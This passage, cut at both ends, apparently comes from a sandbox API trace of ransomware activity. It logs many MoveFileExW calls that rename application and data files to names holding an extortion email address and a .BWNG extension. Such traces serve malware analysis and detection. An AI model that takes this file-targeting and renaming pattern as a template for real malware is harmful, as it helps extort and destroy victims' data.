help\\ms.mstore.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].zlzTA35L-U5ZlIMal.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].zlzta35l-u5zlimal.bwng"), dwFlags=0x1) returned 1 [0118.802] GetTickCount () returned 0x1165503 [0118.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26075394735) returned 1 [0118.802] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.VISIO.SHAPESHEET.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.visio.shapesheet.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].IPCzcHm7-c2N22Z53.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].ipczchm7-c2n22z53.bwng"), dwFlags=0x1) returned 1 [0118.873] GetTickCount () returned 0x1165551 [0118.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26082553734) returned 1 [0118.874] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Broken_Hill" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\broken_hill"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].CpbELdsw-DWhtA9ti.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].cpbeldsw-dwhta9ti.bwng"), dwFlags=0x1) returned 1 [0118.875] GetTickCount () returned 0x1165551 [0118.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26082711326) returned 1 [0118.875] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\[billwong73@yahoo.com].VgTPLTP4-rgcAJHJ1.BWNG" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\[billwong73@yahoo.com].vgtpltp4-rgcajhj1.bwng"), dwFlags=0x1) returned 1 [0118.876] GetTickCount () returned 0x1165551 [0118.876] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26082852913) returned 1 [0118.877] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\CET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\cet"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].jMVHw334-9IacaCoM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].jmvhw334-9iacacom.bwng"), dwFlags=0x1) returned 1 [0118.971] GetTickCount () returned 0x11655af [0118.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26092344519) returned 1 [0118.971] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT+2" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt+2"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].P5XvAFwn-HVCnPzoF.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].p5xvafwn-hvcnpzof.bwng"), dwFlags=0x1) returned 1 [0118.973] GetTickCount () returned 0x11655af [0118.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26092492718) returned 1 [0118.973] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-11" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-11"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].vlf0McAX-L7M9p3ko.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].vlf0mcax-l7m9p3ko.bwng"), dwFlags=0x1) returned 1 [0118.974] GetTickCount () returned 0x11655af [0118.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26092605409) returned 1 [0118.974] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-8" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-8"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\[billwong73@yahoo.com].o0lelN46-iPmC7RbM.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\[billwong73@yahoo.com].o0leln46-ipmc7rbm.bwng"), dwFlags=0x1) returned 1 [0118.975] GetTickCount () returned 0x11655af [0118.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26092731601) returned 1 [0118.975] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Bucharest" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\bucharest"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].wLk1L4Ac-MZosBJ0A.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].wlk1l4ac-mzosbj0a.bwng"), dwFlags=0x1) returned 1 [0118.976] GetTickCount () returned 0x11655af [0118.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26092866903) returned 1 [0118.977] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\[billwong73@yahoo.com].Wgzq054Y-qi68ldru.BWNG" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\[billwong73@yahoo.com].wgzq054y-qi68ldru.bwng"), dwFlags=0x1) returned 1 [0118.978] GetTickCount () returned 0x11655af [0118.978] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26093007970) returned 1 [0118.978] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Lisbon" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\lisbon"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].pK03MRUd-plhEkGMi.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].pk03mrud-plhekgmi.bwng"), dwFlags=0x1) returned 1 [0118.979] GetTickCount () returned 0x11655af [0118.979] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26093129551) returned 1 [0118.979] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\prague"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].Fj1yl9wf-PRGlC1Ry.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].fj1yl9wf-prglc1ry.bwng"), dwFlags=0x1) returned 1 [0118.980] GetTickCount () returned 0x11655af [0118.980] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26093241929) returned 1 [0118.980] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\vaduz"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\[billwong73@yahoo.com].B8RGiDio-AyX9XYj0.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\[billwong73@yahoo.com].b8rgidio-ayx9xyj0.bwng"), dwFlags=0x1) returned 1 [0119.091] GetTickCount () returned 0x116562c [0119.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26104364343) returned 1 [0119.092] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Chagos" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\chagos"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\[billwong73@yahoo.com].AWv0T9wu-5qFzQysy.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\[billwong73@yahoo.com].awv0t9wu-5qfzqysy.bwng"), dwFlags=0x1) returned 1 [0119.235] GetTickCount () returned 0x11656b8 [0119.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26118678776) returned 1 [0119.235] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\met"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].VFfRJrbu-MUDBmXdo.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].vffrjrbu-mudbmxdo.bwng"), dwFlags=0x1) returned 1 [0119.236] GetTickCount () returned 0x11656b8 [0119.236] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26118825610) returned 1 [0119.236] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Fakaofo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\fakaofo"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].mAHYLXyU-0ZwBjdwe.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].mahylxyu-0zwbjdwe.bwng"), dwFlags=0x1) returned 1 [0119.237] GetTickCount () returned 0x11656b8 [0119.237] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26118965404) returned 1 [0119.238] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kosrae" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\kosrae"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].1I6ABSoh-nBxEKcS3.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].1i6absoh-nbxekcs3.bwng"), dwFlags=0x1) returned 1 [0119.239] GetTickCount () returned 0x11656b8 [0119.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26119104963) returned 1 [0119.239] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Palau" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\palau"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].damnL99G-nVtH5aRu.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].damnl99g-nvth5aru.bwng"), dwFlags=0x1) returned 1 [0119.240] GetTickCount () returned 0x11656b8 [0119.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26119220980) returned 1 [0119.240] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Wallis" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\wallis"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\[billwong73@yahoo.com].oH62ADHG-1Pj4TToB.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\[billwong73@yahoo.com].oh62adhg-1pj4ttob.bwng"), dwFlags=0x1) returned 1 [0119.241] GetTickCount () returned 0x11656b8 [0119.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26119342101) returned 1 [0119.241] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\MST7MDT" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\mst7mdt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].9NKfVSoP-M9ZrwsPV.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].9nkfvsop-m9zrwspv.bwng"), dwFlags=0x1) returned 1 [0119.242] GetTickCount () returned 0x11656b8 [0119.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26119473002) returned 1 [0119.243] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\thirdpartylicensereadme-javafx.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\[billwong73@yahoo.com].R3Lf9CCu-QSgodUMo.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\[billwong73@yahoo.com].r3lf9ccu-qsgodumo.bwng"), dwFlags=0x1) returned 1 [0119.244] GetTickCount () returned 0x11656b8 [0119.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26119615478) returned 1 [0119.244] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].Fo57w221-LZ37YUf9.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].fo57w221-lz37yuf9.bwng"), dwFlags=0x1) returned 1 [0119.245] GetTickCount () returned 0x11656b8 [0119.245] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26119750651) returned 1 [0119.245] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\application.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\application.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].nirdSw0v-bCU9Zzx2.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].nirdsw0v-bcu9zzx2.bwng"), dwFlags=0x1) returned 1 [0119.248] GetTickCount () returned 0x11656c8 [0119.248] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26119982326) returned 1 [0119.248] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" (normalized: "c:\\program files (x86)\\mozilla firefox\\dependentlibs.list"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].Oo0fDPQi-HdoMFQoo.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].oo0fdpqi-hdomfqoo.bwng"), dwFlags=0x1) returned 1 [0119.251] GetTickCount () returned 0x11656c8 [0119.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26120353314) returned 1 [0119.252] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\HST10" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\hst10"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\SystemV\\[billwong73@yahoo.com].ew2VO2QM-OIevy7tU.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\systemv\\[billwong73@yahoo.com].ew2vo2qm-oievy7tu.bwng"), dwFlags=0x1) returned 1 [0119.252] GetTickCount () returned 0x11656c8 [0119.252] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26120472472) returned 1 [0119.253] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\platform.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].XeppEEgN-4wNYLxdK.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].xeppeegn-4wnylxdk.bwng"), dwFlags=0x1) returned 1 [0119.254] GetTickCount () returned 0x11656c8 [0119.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26120602924) returned 1 [0119.254] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\updater.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\updater.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].UPOiFZfc-kPfSncvu.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].upoifzfc-kpfsncvu.bwng"), dwFlags=0x1) returned 1 [0119.255] GetTickCount () returned 0x11656c8 [0119.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26120720066) returned 1 [0119.255] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), lpNewFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\[billwong73@yahoo.com].fHOw3zuj-qPSlQklt.BWNG" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\[billwong73@yahoo.com].fhow3zuj-qpslqklt.bwng"), dwFlags=0x1) returned 1 [0119.256] GetTickCount () returned 0x11656c8 [0119.256] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26120871168) returned 1 [0119.257] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\README.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\readme.txt"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\[billwong73@yahoo.com].um8TBVq9-2VmNP9Zj.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\[billwong73@yahoo.com].um8tbvq9-2vmnp9zj.bwng"), dwFlags=0x1) returned 1 [0119.258] GetTickCount () returned 0x11656c8 [0119.258] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26120990627) returned 1 [0119.258] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\icudtl.dat" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\icudtl.dat"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\[billwong73@yahoo.com].7bBHYTbi-lWtCmVmo.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\[billwong73@yahoo.com].7bbhytbi-lwtcmvmo.bwng"), dwFlags=0x1) returned 1 [0119.259] GetTickCount () returned 0x11656c8 [0119.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121095520) returned 1 [0119.259] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\[billwong73@yahoo.com].BAWqWTNa-lxJiFwUV.BWNG" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\[billwong73@yahoo.com].bawqwtna-lxjifwuv.bwng"), dwFlags=0x1) returned 1 [0119.260] GetTickCount () returned 0x11656c8 [0119.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121196392) returned 1 [0119.260] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\crashreporter.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].ZZhyXD5T-1HglATg8.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].zzhyxd5t-1hglatg8.bwng"), dwFlags=0x1) returned 1 [0119.261] GetTickCount () returned 0x11656c8 [0119.261] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121311169) returned 1 [0119.261] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\de.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\de.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].GPtGymxi-duFt1udP.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].gptgymxi-duft1udp.bwng"), dwFlags=0x1) returned 1 [0119.262] GetTickCount () returned 0x11656c8 [0119.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121428734) returned 1 [0119.262] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].0Z6prZtv-su4FONB7.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].0z6prztv-su4fonb7.bwng"), dwFlags=0x1) returned 1 [0119.264] GetTickCount () returned 0x11656d7 [0119.264] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121576366) returned 1 [0119.264] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\shortcuts_log.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\shortcuts_log.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\[billwong73@yahoo.com].KZByv0TU-XrGPHAHH.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\[billwong73@yahoo.com].kzbyv0tu-xrgphahh.bwng"), dwFlags=0x1) returned 1 [0119.265] GetTickCount () returned 0x11656d7 [0119.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121714319) returned 1 [0119.265] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\updater.ini" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\updater.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Maintenance Service\\[billwong73@yahoo.com].GDdunZYv-BRErCt7E.BWNG" (normalized: "c:\\program files (x86)\\mozilla maintenance service\\[billwong73@yahoo.com].gddunzyv-brerct7e.bwng"), dwFlags=0x1) returned 1 [0119.266] GetTickCount () returned 0x11656d7 [0119.266] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121839010) returned 1 [0119.266] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\fr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\fr.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].aJokwmBv-0ZoGFdAo.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ajokwmbv-0zogfdao.bwng"), dwFlags=0x1) returned 1 [0119.267] GetTickCount () returned 0x11656d7 [0119.267] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26121942971) returned 1 [0119.267] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\ko.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].owjh39J3-QGkU7p3C.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].owjh39j3-qgku7p3c.bwng"), dwFlags=0x1) returned 1 [0119.268] GetTickCount () returned 0x11656d7 [0119.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122047831) returned 1 [0119.268] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\pt-PT.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\pt-pt.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].ADe708Ln-LHzXZ79k.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].ade708ln-lhzxz79k.bwng"), dwFlags=0x1) returned 1 [0119.269] GetTickCount () returned 0x11656d7 [0119.269] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122163627) returned 1 [0119.270] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\th.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\[billwong73@yahoo.com].MPh9lku4-Uvx26X8n.BWNG" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\locales\\[billwong73@yahoo.com].mph9lku4-uvx26x8n.bwng"), dwFlags=0x1) returned 1 [0119.270] GetTickCount () returned 0x11656d7 [0119.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26122269774) returned 1 [0119.271] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\logo.png" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\visualelements\\logo.png"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\VisualElements\\[billwong73@yahoo.com].RV51Ih14-8eoNiB09.BWNG" (normalized: "c:\\program files 